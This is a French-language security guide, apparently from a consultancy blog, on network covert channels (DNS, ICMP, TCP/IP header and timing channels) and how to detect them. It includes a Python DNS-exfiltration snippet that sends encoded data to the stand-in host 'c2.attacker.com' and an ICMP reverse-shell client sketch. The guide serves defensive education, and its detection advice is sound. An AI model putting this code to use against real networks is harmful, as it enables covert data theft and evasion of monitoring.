Les covert channels (canaux cachés) sont des mécanismes de communication qui exploitent des canaux légitimes pour transmettre des informations de manière indétectable par les systèmes de surveillance réseau classiques (IDS, pare-feu, DLP). Là où la communication C2 traditionnelle utilise des protocoles réseau standards (HTTP, DNS), les covert channels encodent les données dans des champs protocolaires non surveillés, dans les timing des paquets, ou dans les pixels d'images transmises sur le réseau. Les techniques vont de la simple stéganographie réseau (données cachées dans les headers TCP/IP) aux canaux sophistiqués exploitant les variations temporelles, les champs DNS TXT, et les protocoles peer-to-peer. Ce guide couvre les fondamentaux des covert channels, les techniques d'implémentation (storage channels, timing channels, stéganographie), les outils existants (Covert_TCP, DNScat2, Iodine, ICMP tunneling), la détection statistique, et les implications pour l'exfiltration de données sensibles et les opérations Red Team.

En bref

  • Taxonomie : storage channels (données dans les headers) vs timing channels (variations temporelles)
  • DNS tunneling : encodage de données dans les requêtes/réponses DNS (DNScat2, Iodine)
  • ICMP tunneling : exfiltration via le payload des paquets ICMP echo request/reply
  • Stéganographie réseau : données cachées dans TCP ISN, IP ID, TTL et champs optionnels
  • Détection : analyse statistique, entropie des champs, machine learning sur les flux réseau
Covert Channel — Canal de communication qui exploite un mécanisme non prévu pour la transmission de données afin d'échapper à la détection. Les covert channels réseau encodent des informations dans les protocoles réseau légitimes (headers, timing, payload) de manière invisible pour les systèmes de surveillance classiques.

Taxonomie des Covert Channels Réseau

TypeMécanismeBande passanteDétectabilité
Storage ChannelDonnées encodées dans les champs protocolairesMoyenne-HauteMoyenne
Timing ChannelInformation dans les délais inter-paquetsTrès BasseTrès Difficile
DNS TunnelingDonnées dans les requêtes/réponses DNSHauteHaute (si volume élevé)
ICMP TunnelingDonnées dans le payload ICMPMoyenneMoyenne
HTTP CovertDonnées dans les headers HTTP customHauteBasse
StéganographieDonnées dans les images/médiasBasse-MoyenneTrès Difficile

DNS Tunneling : L'Exfiltration la Plus Courante

Le DNS tunneling est le covert channel le plus utilisé en pratique car le trafic DNS est rarement filtré et traverse la plupart des firewalls. Les données sont encodées dans les sous-domaines des requêtes DNS et dans les réponses TXT/CNAME :

#!/usr/bin/env python3
# DNS Tunneling — Exfiltration basique via sous-domaines
# Principe : encoder les données dans les requêtes DNS
import base64, socket, struct

def exfiltrate_dns(data, domain="c2.attacker.com", dns_server="8.8.8.8"):
    """Exfiltrer des données via des requêtes DNS"""
    # Encoder en base32 (DNS-safe, case-insensitive)
    encoded = base64.b32encode(data).decode().rstrip('=').lower()
    
    # Découper en chunks de 63 chars max (limite label DNS)
    chunks = [encoded[i:i+60] for i in range(0, len(encoded), 60)]
    
    for i, chunk in enumerate(chunks):
        # Construire le nom de domaine : chunk.seq.domain
        qname = f"{chunk}.{i}.{domain}"
        
        # Construire et envoyer la requête DNS A
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        query = build_dns_query(qname)
        sock.sendto(query, (dns_server, 53))
        # La réponse peut contenir des données du C2
        response = sock.recv(512)
        sock.close()

# Côté serveur C2 : un serveur DNS autoritaire pour c2.attacker.com
# reçoit les requêtes et reconstruit les données à partir des sous-domaines

ICMP Tunneling

Le ICMP tunneling encode les données dans le payload des paquets ICMP echo request/reply (ping). Le payload ICMP n'est pas inspecté par la plupart des firewalls — seuls les headers ICMP sont analysés. Les outils icmpsh et ptunnel fournissent des tunnels ICMP prêts à l'emploi :

# ICMP Tunneling — Shell inversé via ICMP
# Envoi de commandes dans le payload ICMP echo request
# Réception des résultats dans le payload ICMP echo reply
import socket, struct, os

def icmp_shell_client(target):
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    while True:
        cmd = input("$ ")
        # Construire un paquet ICMP echo request avec la commande en payload
        icmp_packet = build_icmp_echo(cmd.encode())
        sock.sendto(icmp_packet, (target, 0))
        # Recevoir la réponse (résultat de la commande) dans ICMP echo reply
        data, addr = sock.recvfrom(65535)
        result = parse_icmp_reply(data)
        print(result.decode())

Storage Channels : Headers TCP/IP

Les storage channels exploitent les champs protocolaires inutilisés ou sous-utilisés pour encoder des données :

  • TCP Initial Sequence Number (ISN) : encoder 32 bits de données dans l'ISN de chaque connexion TCP. Indétectable car les ISN sont normalement aléatoires.
  • IP Identification field : 16 bits par paquet, normalement séquentiels ou aléatoires — encoder des données dedans est indétectable sauf par analyse statistique.
  • TCP Urgent Pointer : champ rarement utilisé, peut transporter 16 bits par segment TCP.
  • TCP Timestamp Option : 32 bits par segment, encode des données dans les variations du timestamp.
  • TTL (Time To Live) : varier le TTL de +/- 1 encode 1 bit par paquet.

Timing Channels

Les timing channels encodent l'information dans les délais entre les paquets. Par exemple, un délai de 100ms encode un "0" et un délai de 200ms encode un "1". Les timing channels sont les plus difficiles à détecter car ils ne modifient aucun champ protocolaire — seul le timing varie, et les variations réseau naturelles masquent le signal.

Détection des Covert Channels

  • Analyse d'entropie : les données encodées en base64/base32 dans les sous-domaines DNS ont une entropie plus élevée que les noms de domaine normaux. Un seuil d'entropie >3.5 bits/caractère sur les sous-domaines est suspect.
  • Analyse de volume DNS : un hôte émettant des centaines de requêtes DNS uniques vers un même domaine est anormal — signature typique du DNS tunneling.
  • Inspection ICMP : les payloads ICMP echo normaux (ping) sont fixes et courts. Des payloads ICMP de taille variable avec une entropie élevée indiquent du tunneling.
  • Analyse statistique TCP : la distribution des ISN, IP ID et timestamps doit suivre les modèles attendus de l'OS. Des déviations indiquent un storage channel.
  • Machine Learning : les modèles ML entraînés sur les features réseau (taille paquets, inter-arrival time, entropie) détectent les covert channels avec une précision >95%.
⚠️ Attention — Le DNS tunneling est le covert channel le plus utilisé par les attaquants (APT29, APT34, FIN7). Si votre organisation n'inspecte pas le trafic DNS (résolution des sous-domaines, analyse TXT/CNAME, volume par hôte), vous avez un angle mort majeur. Déployez un DNS resolver interne avec logging complet et analysez l'entropie des requêtes.

À retenir

  • Les covert channels encodent des données dans les protocoles légitimes — invisibles pour les firewalls classiques
  • Le DNS tunneling est le plus courant : données dans les sous-domaines (63 chars/label, illimité en volume)
  • Les storage channels TCP (ISN, IP ID, timestamps) transportent des bits dans les champs protocolaires
  • Les timing channels (délais inter-paquets) sont quasi-indétectables — aucun champ modifié
  • La détection repose sur l'analyse d'entropie, les anomalies de volume et le machine learning

FAQ — Questions Fréquentes

Quel est le covert channel le plus difficile à détecter ?

Les timing channels sont les plus difficiles à détecter car ils ne modifient aucun champ protocolaire — seul le timing entre les paquets varie. Les variations réseau naturelles (jitter, congestion) masquent le signal. La détection nécessite une analyse statistique fine des inter-arrival times sur de longues durées. La bande passante est très faible (bits/seconde) mais suffisante pour l'exfiltration de clés ou de credentials.

Comment détecter le DNS tunneling ?

Les indicateurs principaux : entropie élevée des sous-domaines (>3.5 bits/char), volume anormal de requêtes DNS uniques vers un domaine, longueur des sous-domaines (>30 chars), types de requêtes inhabituels (TXT, NULL), et taille des réponses DNS anormalement grandes. Les outils comme PacketBeat + Zeek + ML (isolation forest) détectent efficacement le DNS tunneling.

Les VPN ne sont-ils pas suffisants pour l'exfiltration ?

Les VPN sont détectables par les systèmes réseau (signatures de protocole, ports non standard, volume de trafic). Les covert channels sont utilisés quand les VPN sont bloqués ou surveillés : réseaux d'entreprise avec inspection TLS, environnements air-gapped avec accès DNS limité, ou opérations nécessitant une furtivité maximale. Le DNS tunneling fonctionne même dans les réseaux les plus restreints car le DNS est rarement bloqué.

Besoin d'un accompagnement expert ?

Nos consultants spécialisés en sécurité réseau et détection d'intrusion vous accompagnent dans l'évaluation de votre posture de sécurité.

Contactez-nous
Article recommandé : Race Conditions Kernel : Double-Fetch et TOCTOU Noyau